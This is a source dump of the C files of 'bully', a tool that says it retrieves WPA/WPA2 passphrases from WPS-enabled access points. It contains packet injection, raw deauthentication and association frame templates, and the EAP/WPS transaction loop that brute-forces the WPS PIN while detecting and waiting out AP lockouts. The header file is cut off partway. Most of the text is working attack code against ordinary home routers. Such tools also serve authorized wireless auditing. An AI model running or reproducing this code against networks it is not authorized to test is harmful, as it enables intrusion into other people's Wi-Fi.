bully-1.4-00/src/000077500000000000000000000000001361530463600135205ustar00rootroot00000000000000bully-1.4-00/src/80211.c000077500000000000000000000524771361530463600143610ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2020 kimocoder Copyright (C) 2017 wiire Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include "80211.h" #include "frame.h" int parse_packet(frame_t *fp, uint8 *pack, int len, int has_rth, int has_fcs) { rth_t *rth = (rth_t*)pack; int rthl = (has_rth ? le16toh(rth->it_len) : 0); mac_t *mac = (mac_t*)(pack+rthl); int macl = MAC_SIZE_NORM; if (mac->type == MAC_TYPE_CTRL) { if (mac->subtype == MAC_ST_RTS) macl = MAC_SIZE_RTS; else if (mac->subtype == MAC_ST_ACK) macl = MAC_SIZE_ACK; } else if (mac->type == MAC_TYPE_DATA) if (mac->subtype & MAC_ST_QOSDATA) macl += QOS_SIZE; int fcsl = (has_fcs ? 4 : 0); fcs_t *fcs = (fcs_t*)(pack+len-fcsl); uint8 *pay = ((uint8*)mac)+macl; int plen = ((uint8*)fcs)-pay; fp[F_ALL].data = uc(pack); fp[F_ALL].size = len; fp[F_TAP].data = uc(rth); fp[F_TAP].size = rthl; fp[F_MAC].data = uc(mac); fp[F_MAC].size = macl; fp[F_PAY].data = uc(pay); fp[F_PAY].size = plen; fp[F_FCS].data = uc(fcs); fp[F_FCS].size = fcsl; if (mac->type == MAC_TYPE_DATA && LLC_SIZE <= plen && be16toh(((llc_t*)pay)->type) == LLC_TYPE_AUTH) { fp[F_PAY].list = &fp[F_LLC]; llc_t *llc = (llc_t*)pay; int llcl = LLC_SIZE; pay += llcl; plen -= llcl; d1x_t *d1x = (d1x_t*)pay; int d1xl = D1X_SIZE; pay += d1xl; plen -= d1xl; eap_t *eap = (eap_t*)pay; int eapl = (d1xl && d1x->type == D1X_TYPE_EAP ? EAP_SIZE : 0); pay += eapl; plen -= eapl; wfa_t *wfa = (wfa_t*)pay; int wfal = (eapl && eap->type == EAP_TYPE_EXPAND ? WFA_SIZE : 0); if (wfal) if (memcmp(wfa->vid,WFA_VENDOR,sizeof(wfa->vid)) != 0 || be32toh(wfa->type) != WFA_SIMPLECONF) wfal = 0; pay += wfal; plen -= wfal; vtag_t *msg = (vtag_t*)pay; int msgl = (wfal ? be16toh(eap->len) - (eapl + wfal) : 0); pay += msgl; plen -= msgl; fp[F_LLC].data = uc(llc); fp[F_LLC].size = llcl; fp[F_D1X].data = uc(d1x); fp[F_D1X].size = d1xl; fp[F_EAP].data = uc(eap); fp[F_EAP].size = eapl; fp[F_WFA].data = uc(wfa); fp[F_WFA].size = wfal; fp[F_MSG].data = uc(msg); fp[F_MSG].size = msgl; fp[F_IDK].data = uc(pay); fp[F_IDK].size = plen; if (eapl && eap->code == EAP_CODE_FAIL) return EAPFAIL; } else fp[F_PAY].list = NULL; return SUCCESS; }; uint8 *build_packet(uint8 *pack, int plen, uint8 *msg, int mlen) { int len = plen + mlen; uint8 *buf = malloc(len); memcpy(buf,pack,plen); memcpy(&buf[len-4],&buf[plen-4],4); memcpy(&buf[plen-4],msg,mlen); return buf; }; tag_t *find_tag(void *tagp, int tagl, uint8 id, int len, uint8* vid, int vlen) { tag_t *tag = (tag_t*)tagp; while (0id!=id) goto next_tag; if (len && tag->len!=len) goto next_tag; if (id!=TAG_VEND || vid==NULL || vlen==0) return tag; if (memcmp(vid,tag->data,vlen)==0) return tag; next_tag: tagl -= tag->len + TAG_SIZE; tag = (tag_t*)((uint8*)tag + tag->len + TAG_SIZE); }; if (tagl) vprint("[!] Information element tag(s) extend past end of frame\n"); return NULL; }; int get_oui_vendor(void *tagp, int tagl, uint8 oui[3]) { #define MIN_OUI_TAG_LEN 6 #define MAX_OUI_TAG_LEN 9 #define SINGLETON_LEN 10 uint8 singleton[3] = "\x00\x03\x7f"; tag_t *tag = (tag_t*)tagp; while (0 < tagl) { if (tag->id != TAG_VEND) goto next_tag; if (tag->len >= MIN_OUI_TAG_LEN && tag->len <= MAX_OUI_TAG_LEN) { if (tag->data[3] == 2 || tag->data[3] == 4 || tag->data[3] == 7 || tag->data[3] == 1 || tag->data[3] == 0 || tag->data[3] == 3) { memcpy(oui, tag->data, 3); return 1; } else { goto next_tag; }; } else { if (tag->len == SINGLETON_LEN && !memcmp(singleton, tag->data, 3)) { memcpy(oui, tag->data, 3); return 1; } else { goto next_tag; }; }; next_tag: tagl -= tag->len + TAG_SIZE; tag = (tag_t*)((uint8*)tag + tag->len + TAG_SIZE); }; if (tagl) vprint("[!] Information element tag(s) extend past end of frame\n"); return 0; }; vtag_t *find_vtag(void *vtagp, int vtagl, uint8* vid, int vlen) { vtag_t *vtag = (vtag_t*)vtagp; while (0id,2) != 0) goto next_vtag; if (!vlen || be16toh(vtag->len) == vlen); return vtag; next_vtag: vtagl -= be16toh(vtag->len) + VTAG_SIZE; vtag = (vtag_t*)((uint8*)vtag + be16toh(vtag->len) + VTAG_SIZE); }; if (vtagl) vprint("[!] Information element tag(s) extend past end of frame\n"); return NULL; }; char *build_dev_passw_id(const uint16 passw_id, char *sbuf) { sbuf[0] = '\0'; switch (passw_id) { case 0: strcpy(sbuf, "Default (PIN)"); break; case 1: strcpy(sbuf, "User-specified"); break; case 2: strcpy(sbuf, "Machine-specified"); break; case 3: strcpy(sbuf, "Rekey"); break; case 4: strcpy(sbuf, "PushButton"); break; case 5: strcpy(sbuf, "Registrar-specified"); break; default: break; }; return sbuf; }; char *build_dev_type_string(const uint16 cat, const uint16 scat, char *sbuf) { char *origin = sbuf; sbuf[0] = '\0'; switch (cat) { case 1: strcpy(sbuf, "Computer"); sbuf += 8; switch (scat) { case 1: strcpy(sbuf, ", PC"); break; case 2: strcpy(sbuf, ", Server"); break; case 3: strcpy(sbuf, ", Media center"); break; case 4: strcpy(sbuf, ", Ultra-mobile PC"); break; case 5: strcpy(sbuf, ", Notebook"); break; case 6: strcpy(sbuf, ", Desktop"); break; case 7: strcpy(sbuf, ", Mobile Internet Device"); break; case 8: strcpy(sbuf, ", Netbook"); break; case 9: strcpy(sbuf, ", Tablet"); break; default: break; }; break; case 2: strcpy(sbuf, "Input Device"); sbuf += 12; switch (scat) { case 1: strcpy(sbuf, ", Keyboard"); break; case 2: strcpy(sbuf, ", Mouse"); break; case 3: strcpy(sbuf, ", Joystick"); break; case 4: strcpy(sbuf, ", Trackball"); break; case 5: strcpy(sbuf, ", Gaming controller"); break; case 6: strcpy(sbuf, ", Remote"); break; case 7: strcpy(sbuf, ", Touchscreen"); break; case 8: strcpy(sbuf, ", Biometric reader"); break; case 9: strcpy(sbuf, ", Barcode reader"); break; default: break; }; break; case 3: strcpy(sbuf, "Printer/Scanner"); sbuf += 15; switch (scat) { case 1: strcpy(sbuf, ", Printer"); break; case 2: strcpy(sbuf, ", Scanner"); break; case 3: strcpy(sbuf, ", Fax"); break; case 4: strcpy(sbuf, ", Copier"); break; case 5: strcpy(sbuf, ", All-in-one"); break; default: break; }; break; case 4: strcpy(sbuf, "Camera"); sbuf += 6; switch (scat) { case 1: strcpy(sbuf, ", Printer"); break; case 2: strcpy(sbuf, ", Scanner"); break; case 3: strcpy(sbuf, ", Fax"); break; case 4: strcpy(sbuf, ", Copier"); break; case 5: strcpy(sbuf, ", All-in-one"); break; default: break; }; break; case 5: strcpy(sbuf, "Storage"); sbuf += 7; switch (scat) { case 1: strcpy(sbuf, ", NAS"); break; default: break; }; break; case 6: strcpy(sbuf, "Network Infrastructure"); sbuf += 22; switch (scat) { case 1: strcpy(sbuf, ", AP"); break; case 2: strcpy(sbuf, ", Router"); break; case 3: strcpy(sbuf, ", Switch"); break; case 4: strcpy(sbuf, ", Gateway"); break; default: break; }; break; case 7: strcpy(sbuf, "Display"); sbuf += 7; switch (scat) { case 1: strcpy(sbuf, ", Television"); break; case 2: strcpy(sbuf, ", Electronic Picture Frame"); break; case 3: strcpy(sbuf, ", Projector"); break; case 4: strcpy(sbuf, ", Monitor"); break; default: break; }; break; case 8: strcpy(sbuf, "Multimedia Device"); sbuf += 17; switch (scat) { case 1: strcpy(sbuf, ", DAR"); break; case 2: strcpy(sbuf, ", PVR"); break; case 3: strcpy(sbuf, ", MCX"); break; case 4: strcpy(sbuf, ", Set-top box"); break; case 5: strcpy(sbuf, ", Media server/adapter/extender"); break; default: break; }; break; case 9: strcpy(sbuf, "Gaming Device"); sbuf += 13; switch (scat) { case 1: strcpy(sbuf, ", Xbox"); break; case 2: strcpy(sbuf, ", Xbox360"); break; case 3: strcpy(sbuf, ", Playstation"); break; case 4: strcpy(sbuf, ", Game console/adapter"); break; case 5: strcpy(sbuf, ", Portable gaming device"); break; default: break; }; break; case 10: strcpy(sbuf, "Telephone"); sbuf += 9; switch (scat) { case 1: strcpy(sbuf, ", Windows Mobile"); break; case 2: strcpy(sbuf, ", Phone - single mode"); break; case 3: strcpy(sbuf, ", Phone - dual mode"); break; case 4: strcpy(sbuf, ", Smartphone - single mode"); break; case 5: strcpy(sbuf, ", Smartphone - dual mode"); break; default: break; }; break; case 11: strcpy(sbuf, "Audio Device"); sbuf += 12; switch (scat) { case 1: strcpy(sbuf, ", Audio tuner/receiver"); break; case 2: strcpy(sbuf, ", Speakers"); break; case 3: strcpy(sbuf, ", Portable Music Player"); break; case 4: strcpy(sbuf, ", Headset"); break; case 5: strcpy(sbuf, ", Headphones"); break; case 6: strcpy(sbuf, ", Microphone"); break; case 7: strcpy(sbuf, ", Home Threater Systems"); break; default: break; }; break; default: break; }; return origin; }; char *build_conf_methods_string(const uint16 method, char *sbuf) { int offset = 0; sbuf[0] = '\0'; if (method & WPS_CONF_LABEL) { strcpy(sbuf, "Label"); offset = 5; }; if (method & WPS_CONF_DISPLAY) { if (offset) { strcat(sbuf + offset, ", "); offset += 2; }; strcat(sbuf + offset, "Display"); offset += 7; }; if (method & WPS_CONF_PUSH_BTN) { if (offset) { strcat(sbuf + offset, ", "); offset += 2; }; strcat(sbuf + offset, "Push Button"); offset += 11; }; if (method & WPS_CONF_KEYPAD) { if (offset) { strcat(sbuf + offset, ", "); offset += 2; }; strcat(sbuf + offset, "Keypad"); offset += 6; }; if (method & WPS_CONF_ETHERNET) { if (offset) { strcat(sbuf + offset, ", "); offset += 2; }; strcat(sbuf + offset, "Ethernet"); offset += 8; }; if (method & WPS_CONF_USB) { if (offset) { strcat(sbuf + offset, ", "); offset += 2; }; strcat(sbuf + offset, "USB"); offset += 3; }; return sbuf; }; uint8 *build_ietags(tag_t *tags[], int *tagl) { tag_t **scan = tags; uint8 *buf, *out; int len = 0; while (*scan) { len += (*scan++)->len + sizeof(tag_t); }; *tagl = len; out = buf = malloc(len); while (*tags) { memcpy(buf,*tags,(*tags)->len + sizeof(tag_t)); buf += (*tags++)->len + sizeof(tag_t); }; return out; }; int next_packet(struct global *G, uint8 type, uint8 subtype, uint8 *dest, uint8 *src, int pkt, int parse) { struct timeval timeout, begin; uint8 *pack; int len, fc = 0, time; gettimeofday(&begin, 0); if (times[pkt].user) set_timer(&timeout, times[pkt].user); else if (G->suppress) set_timer(&timeout, times[pkt].def); else if (G->suppress) set_timer(&timeout, times[pkt].def); else set_timer(&timeout, times[pkt].avg + (times[pkt].avg>>3) + 5); while (!ctrlc || START_EAPOL < G->state) { if (check_timer(&timeout)) { times[pkt].avg = (times[pkt].avg * times[pkt].count + times[pkt].max) / (times[pkt].count + 1); times[pkt].count++; return TIMEOUT; }; if ((pack = (uint8*)pcap_next(G->pfd, G->phdr)) == 0) continue; if ((len = G->phdr->len) == 0) continue; rth_t *rth = (rth_t*)pack; int rthl = (G->has_rth ? le16toh(rth->it_len) : 0); mac_t *mac = (mac_t*)(pack+rthl); if (memcmp(dest,NULL_MAC,6) != 0 && memcmp(mac->adr1.addr,dest,6) != 0) continue; if (memcmp(src, NULL_MAC,6) != 0 && memcmp(mac->adr2.addr,src ,6) != 0) continue; if (mac->type != type) goto ck_deauth; if (mac->subtype != subtype) if (type!=MAC_TYPE_DATA || mac->subtype!=(subtype|MAC_ST_QOSDATA)) goto ck_deauth; time = elapsed(&begin); if (G->has_fcs && !G->nocheck) { uint32 crc = ~crc32((u_char*)mac, len-rthl-4); uint32 fcs = ((fcs_t*)(pack+len-4))->fcs; if (bswap_32(crc) != be32toh(fcs)) { fc++; if (MAX_FCS_FAIL<=fc) { vprint("[!] Excessive (%d) FCS failures while reading next packet\n", MAX_FCS_FAIL); return FCSFAIL; } else continue; }; }; times[pkt].avg = (times[pkt].avg * times[pkt].count + time) / (times[pkt].count + 1); times[pkt].count++; if (parse) return parse_packet(G->inp, pack, len, G->has_rth, G->has_fcs); break; ck_deauth: if (mac->type==MAC_TYPE_MGMT) if ((mac->subtype==MAC_ST_DISASSOC || mac->subtype==MAC_ST_DEAUTH) && memcmp(dest,NULL_MAC,6) != 0) { vprint("[!] Received disassociation/deauthentication from the AP\n"); return DEORDIS; }; }; return (ctrlc && G->state <= START_EAPOL ? ctrlc : SUCCESS); }; int send_packet(struct global *G, uint8 *pack, int len, int noack) { int result = SUCCESS; mac_t *mac = (mac_t*)(pack+RTH_SIZE); if (32<=len) { uint16 s = G->sequence++ << 4; mac->sequence = htole16(s); }; // if (G->use_fcs) { // uint32 crc = ~crc32((u_char*)mac, len-RTH_SIZE-4); // uint32 fcs = bswap_32(crc); // *(uint32*)(pack+len-4) = htobe32(fcs); // } else len -= 4; int count = 0; retry_snd: if (pcap_inject(G->pfd, pack, len) != len) { vprint("[!] Pcap injection error, failed packet follows\n"); vprint("[!] >%s<\n",hex(pack,len)); return INJFAIL; }; if (G->use_ack && !noack) { result = next_packet(G, MAC_TYPE_CTRL, MAC_ST_ACK, mac->adr2.addr, NULL_MAC, PKT_ACK, FALSE); if (result == TIMEOUT) { if (count++ < G->retries) goto retry_snd; vprint("[+] Sent packet not acknowledged after %d attempts\n", count); }; }; return result; }; void pcap_wait(struct global *G, int msdelay) { int result = ~TIMEOUT; times[PKT_NOP].user = times[PKT_NOP].def = msdelay; while (!ctrlc && result != TIMEOUT) result = next_packet(G, MAC_TYPE_RSVD, 0, BULL_MAC, BULL_MAC, PKT_NOP, FALSE); }; int reassoc(struct global *G) { int result, count = 1; if (G->delay) { pcap_wait(G, G->delay); G->delay = 0; }; reassoc: G->state = START_ASSOC; if (ctrlc) return ctrlc; if (G->probe) { result = send_packet(G, G->dprobe, G->reql, 1); result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP, G->hwmac, G->bssid, PKT_PR, TRUE); } else result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_BEACON, BCAST_MAC, G->bssid, PKT_BEA, TRUE); if (result == SUCCESS) { tag_t *tag = find_tag(G->inp[F_PAY].data+BFP_SIZE, G->inp[F_PAY].size-BFP_SIZE, TAG_CHAN, 0, NULL, 0); if (tag && tag->data[0] != G->chans[G->chanx]) { if (!G->fixed) G->chanx = set_chan(G, tag->data[0]); else vprint("[!] The AP was previously on channel '%s', now on '%d'\n", G->schan, tag->data[0]); }; tag = find_tag(G->inp[F_PAY].data+BFP_SIZE, G->inp[F_PAY].size-BFP_SIZE, TAG_VEND, 0, MS_WPS_ID, 4); if (tag) { vtag_t *vtag = find_vtag(&tag->data[4], tag->len-4, TAG_WPS_APLOCK, 1); if (vtag && vtag->data[0] == TAG_WPS_LOCKED) { if (!G->ignore) { vprint("[!] WPS lockout reported, sleeping for %d seconds ...\n", G->lwait); lockwait: pcap_wait(G, G->lwait * 1000); G->dcount = 0; goto reassoc; }; }; if (G->detect && 3 <= G->dcount) { vprint("[!] WPS lockout detected, sleeping for %d seconds ...\n", G->lwait); goto lockwait; }; }; } else { if (result == TIMEOUT) { if (count++ < 3) goto reassoc; if (!G->fixed) { G->chanx = next_chan(G); goto reassoc; }; }; return result; }; G->state++; result = send_packet(G, deauth, sizeof(deauth)-1, 0); if (result != SUCCESS) return result; if (G->delay) { pcap_wait(G, G->delay); G->delay = 0; goto reassoc; }; G->state++; result = send_packet(G, authrq, sizeof(authrq)-1, 0); if (result != SUCCESS) return result; G->state++; result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_AUTH, G->hwmac, G->bssid, PKT_AUT, TRUE); if (result != SUCCESS) return result; auth_t *auth = (auth_t*)(G->inp[F_PAY].data); if (le16toh(auth->status) != AUTH_SUCCESS) { vprint("[!] Authentication failure '0x%04x', restarting transaction\n", le16toh(auth->status)); return DEORDIS; }; G->state++; result = send_packet(G, G->asshat, G->assl, 0); if (result != SUCCESS) return result; G->state++; result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_ASSOC_RESP, G->hwmac, G->bssid, PKT_ASN, TRUE); if (result != SUCCESS) return result; resp_t *resp = (resp_t*)(G->inp[F_PAY].data); if (le16toh(resp->status) != RESP_SUCCESS) { vprint("[!] Association failure '0x%04x', restarting transaction\n", le16toh(resp->status)); return DEORDIS; }; return SUCCESS; }; int wpstran(struct global *G) { enum wsc_op_code opcode; enum wps_state state; int result, quit = 0; llc_t *llc; eap_t *eap; wfa_t *wfa; wpab_t *msg; uint8 *pack; vtag_t *tag; restart: G->state = START_EAPOL; result = send_packet(G, eapols, sizeof(eapols)-1, 0); if (result != SUCCESS) return result; read_id: G->state++; result = next_packet(G, MAC_TYPE_DATA, MAC_ST_DATA, G->hwmac, G->bssid, PKT_EID, TRUE); if (result != SUCCESS) return result; if (!G->inp[F_PAY].list || G->inp[F_EAP].size%s<\n", hex(G->inp[F_ALL].data, G->inp[F_ALL].size)); return EAPFAIL; }; eap = (eap_t*)G->inp[F_EAP].data; if (eap->code != EAP_CODE_REQ || eap->type != EAP_TYPE_ID) goto eap_err; eap_id[G->eapidx] = eapolf[G->eapidx] = eap->id; send_id: G->state++; result = send_packet(G, eap_id, sizeof(eap_id)-1, 0); if (result != SUCCESS) return result; G->wdata->state = RECV_M1; read_mx: G->state++; state = G->wdata->state; result = next_packet(G, MAC_TYPE_DATA, MAC_ST_DATA, G->hwmac, G->bssid, ((G->state-10)>>1)+6, TRUE); if (result != SUCCESS) switch (result) { case FCSFAIL: return result; case DEORDIS: return result; case EAPFAIL: eap = (eap_t*)G->inp[F_EAP].data; eapolf[G->eapidx] = eap->id; if (G->eapmode) if (state==RECV_M5) { quit = KEY1NAK; G->eapflag = 1; } else if (state==RECV_M7) { quit = KEY2NAK; G->eapflag = 1; } else quit = result; else quit = result; G->state++; goto eapfail; case TIMEOUT: quit = result; if (G->m57nack) quit = (state==RECV_M5 ? KEY1NAK : state==RECV_M7 ? KEY2NAK : result); G->wdata->state = SEND_WSC_NACK; goto send_mx; }; if (!G->inp[F_PAY].list || !G->inp[F_MSG].size) { if (G->inp[F_PAY].list) { eap = (eap_t*)G->inp[F_EAP].data; if (eap->code == EAP_CODE_REQ && eap->type == EAP_TYPE_ID) { G->state--; goto read_mx; }; }; wps_err: vprint("[!] Unexpected packet received when waiting for WPS Message\n"); vprint("[!] >%s<\n", hex(G->inp[F_ALL].data, G->inp[F_ALL].size)); quit = WPSFAIL; G->state++; goto eapfail; } else { tag = find_vtag(G->inp[F_MSG].data,G->inp[F_MSG].size,WPS_MSG_TYPE,1); if (tag) { if (G->detect && state == RECV_M3) if (tag->data[0] == MSG_NACK || tag->data[0] == MSG_M2D) G->dcount+= 1; else G->dcount = 0; if (tag->data[0] == MSG_NACK) { quit = (state==RECV_M5 ? KEY1NAK : state==RECV_M7 ? KEY2NAK : WPSFAIL); if (quit != WPSFAIL) { G->eapmode = 0; if (G->eapflag) { G->eapflag = 0; G->restart = 1; }; }; } else if (tag->data[0] != map[G->state]) { vprint("[!] Received M2D or out of sequence WPS Message\n"); G->wdata->state = SEND_WSC_NACK; quit = WPSFAIL; }; } else goto wps_err; }; eap = (eap_t*)G->inp[F_EAP].data; wfamsg[G->eapidx] = eapolf[G->eapidx] = eap->id; wfa = (wfa_t*)G->inp[F_WFA].data; opcode = wfa->op; msg = wpabuf_alloc_copy(G->inp[F_MSG].data, G->inp[F_MSG].size); wps_registrar_process_msg(G->wdata, opcode, msg); wpabuf_free(msg); if (tag->data[0] == MSG_M7) return SUCCESS; send_mx: G->state++; msg = wps_registrar_get_msg(G->wdata, &opcode); if (msg) { uint8 *buf = msg->ext_data; if (!buf) buf = ((uint8*)msg)+sizeof(struct wpabuf); int eapl = msg->used + EAP_SIZE + WFA_SIZE; *(uint16*)(&wfamsg[G->eaplnx]) = htobe16(eapl); *(uint16*)(&wfamsg[G->d1xlnx]) = htobe16(eapl); wfamsg[G->wfaopx] = opcode; pack = build_packet(wfamsg, sizeof(wfamsg)-1, buf, msg->used); result = send_packet(G, pack, sizeof(wfamsg)-1 + msg->used, 0); free(pack); if (result != SUCCESS) return result; } else quit = WPSFAIL; eapfail: if (quit) { if (G->eapfail) { send_packet(G, eapolf, sizeof(eapolf)-1, 0); do { result = next_packet(G, MAC_TYPE_DATA, MAC_ST_DATA, G->hwmac, G->bssid, PKT_EAP, TRUE); } while (result != EAPFAIL && result != TIMEOUT); }; G->state--; return quit; }; goto read_mx; }; bully-1.4-00/src/80211.h000077500000000000000000000223451361530463600143550ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2020 kimocoder Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #ifndef _80211_H #define _80211_H #pragma pack(push) #pragma pack(1) #define FALSE 0 #define TRUE 1 #define uint8 u_int8_t #define uint16 u_int16_t #define uint32 u_int32_t #define uint64 u_int64_t #define int8 int8_t #define int16 int16_t #define int32 int32_t #define ui(x) ((int32)(x)) #define uc(x) ((uint8*)(x)) uint8 nulls[33] = {0}; #define NULL_MAC nulls #define BCAST_MAC "\xFF\xFF\xFF\xFF\xFF\xFF" #define BULL_MAC "\xFA\xCE\xFA\xCE\xFA\xCE" uint8 ackpkt[] = "\x00\x00\x08\x00\x00\x00\x00\x00" "\xD4\x00\x00\x00\xdd\xdd\xdd\xdd\xdd\xdd\xFF\xFF\xFF\xFF"; uint8 deauth[] = "\x00\x00\x08\x00\x00\x00\x00\x00" "\xC0\x00\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb" "\xCF\xCC\x08\x00\xFF\xFF\xFF\xFF"; uint8 prober[] = "\x00\x00\x08\x00\x00\x00\x00\x00" "\x40\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\x00\x1c\xcc\xcc\xcc\xcc\xFF\xFF\xFF\xFF\xFF\xFF" "\xCF\xCC\xFF\xFF\xFF\xFF"; uint8 authrq[] = "\x00\x00\x08\x00\x00\x00\x00\x00" "\xB0\x00\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb" "\xCF\xCC\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"; uint8 asshat[] = "\x00\x00\x08\x00\x00\x00\x00\x00" "\x00\x00\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb" "\xCF\xCC\x00\x00\x01\x00\xFF\xFF\xFF\xFF"; uint8 eapols[] = "\x00\x00\x08\x00\x00\x00\x00\x00" "\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb" "\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E" "\x02\x01\x00\x00\xFF\xFF\xFF\xFF"; uint8 eapolf[] = "\x00\x00\x08\x00\x00\x00\x00\x00" "\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb" "\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E" "\x02\x00\x00\x04\x04\x1D\x00\x04\xFF\xFF\xFF\xFF"; uint8 eap_id[] = "\x00\x00\x08\x00\x00\x00\x00\x00" "\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb" "\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E" "\x02\x00\x00\x23\x02\x1D\x00\x23\x01" "WFA-SimpleConfig-Registrar-1-0" "\xFF\xFF\xFF\xFF"; uint8 wfamsg[] = "\x00\x00\x08\x00\x00\x00\x00\x00" "\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb" "\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E" "\x02\x00\xff\xff\x02\x1D\xff\xff\xfe" "\x00\x37\x2a\x00\x00\x00\x01\x04\x00\xFF\xFF\xFF\xFF"; struct radiotap_header { u_int8_t it_version; u_int8_t it_pad; u_int16_t it_len; u_int32_t it_present; }; typedef struct radiotap_header rth_t; #define RTH_SIZE (sizeof(rth_t)) struct adr_frame { uint8 addr[6]; }; typedef struct adr_frame adr_t; #define ADR_SIZE (sizeof(adr_t)) struct qos_frame { uint8 control; uint8 flags; }; typedef struct qos_frame qos_t; #define QOS_SIZE (sizeof(qos_t)) struct mac_frame { #if __BYTE_ORDER == __BIG_ENDIAN unsigned subtype : 4; unsigned type : 2; unsigned version : 2; unsigned ordered : 1; unsigned protected : 1; unsigned more_data : 1; unsigned power : 1; unsigned retry : 1; unsigned more_frag : 1; unsigned from_ds : 1; unsigned to_ds : 1; #else unsigned version : 2; unsigned type : 2; unsigned subtype : 4; unsigned to_ds : 1; unsigned from_ds : 1; unsigned more_frag : 1; unsigned retry : 1; unsigned power : 1; unsigned more_data : 1; unsigned protected : 1; unsigned ordered : 1; #endif uint16 duration; adr_t adr1; adr_t adr2; adr_t adr3; uint16 sequence; adr_t addr4; qos_t qos; }; typedef struct mac_frame mac_t; #define MAC_SIZE_ACK (10) #define MAC_SIZE_RTS (16) #define MAC_SIZE_NORM (24) #define MAC_SIZE_LONG (30) #define MAC_TYPE_MGMT 0x0 #define MAC_TYPE_CTRL 0x1 #define MAC_TYPE_DATA 0x2 #define MAC_TYPE_RSVD 0x3 // management subtypes #define MAC_ST_ASSOC_REQ 0x0 #define MAC_ST_ASSOC_RESP 0x1 #define MAC_ST_REASSOC_REQ 0x2 #define MAC_ST_REASSOC_RESP 0x3 #define MAC_ST_PROBE_REQ 0x4 #define MAC_ST_PROBE_RESP 0x5 #define MAC_ST_BEACON 0x8 #define MAC_ST_DISASSOC 0xA #define MAC_ST_AUTH 0xB #define MAC_ST_DEAUTH 0xC // data subtypes #define MAC_ST_DATA 0x0 #define MAC_ST_NULL 0x4 #define MAC_ST_QOSDATA 0x8 // control subtypes #define MAC_ST_RTS 0xB #define MAC_ST_ACK 0xD struct fcs_frame { uint32 fcs; }; typedef struct fcs_frame fcs_t; #define FCS_SIZE (sizeof(fcs_t)) struct bfp_frame { uint8 timestamp[8]; uint16 interval; uint16 capability; }; typedef struct bfp_frame bfp_t; #define BFP_SIZE (sizeof(bfp_t)) struct cap_info { #if __BYTE_ORDER == __BIG_ENDIAN unsigned agility : 1; unsigned pbcc : 1; unsigned preamble : 1; unsigned privacy : 1; unsigned poll_req : 1; unsigned pollable : 1; unsigned ibss : 1; unsigned ess : 1; unsigned immed_ba : 1; unsigned delay_ba : 1; unsigned dss_ofdm : 1; unsigned resvd : 1; unsigned apsd : 1; unsigned short_slot : 1; unsigned qos : 1; unsigned spectrum : 1; #else unsigned ess : 1; unsigned ibss : 1; unsigned pollable : 1; unsigned poll_req : 1; unsigned privacy : 1; unsigned preamble : 1; unsigned pbcc : 1; unsigned agility : 1; unsigned spectrum : 1; unsigned qos : 1; unsigned short_slot : 1; unsigned apsd : 1; unsigned resvd : 1; unsigned dss_ofdm : 1; unsigned delay_ba : 1; unsigned immed_ba : 1; #endif }; struct ie_tag { uint8 id; #define TAG_SSID 0 #define TAG_RATE 1 #define TAG_CHAN 3 #define TAG_XRAT 50 #define TAG_VEND 221 uint8 len; uint8 data[]; }; typedef struct ie_tag tag_t; #define TAG_SIZE (sizeof(tag_t)) #define MS_WPS_ID "\x00\x50\xf2\x04" #define MS_WPS_TAG "\xdd\x09" MS_WPS_ID "\x10\x4a\x00\x01\x10" struct ie_vtag { uint16 id; #define TAG_WPS_CONF_M "\x10\x08" #define TAG_WPS_D_NAME "\x10\x11" #define TAG_WPS_PASSWD "\x10\x12" #define TAG_WPS_MANU "\x10\x21" #define TAG_WPS_M_NAME "\x10\x23" #define TAG_WPS_M_NUM "\x10\x24" #define TAG_WPS_BANDS "\x10\x3c" #define TAG_WPS_SERIAL "\x10\x42" #define TAG_WPS_STATE "\x10\x44" #define TAG_WPS_UUID_E "\x10\x47" #define TAG_WPS_V_EXT "\x10\x49" #define TAG_WPS_VERSION "\x10\x4A" #define TAG_WPS_D_TYPE "\x10\x54" #define TAG_WPS_APLOCK "\x10\x57" 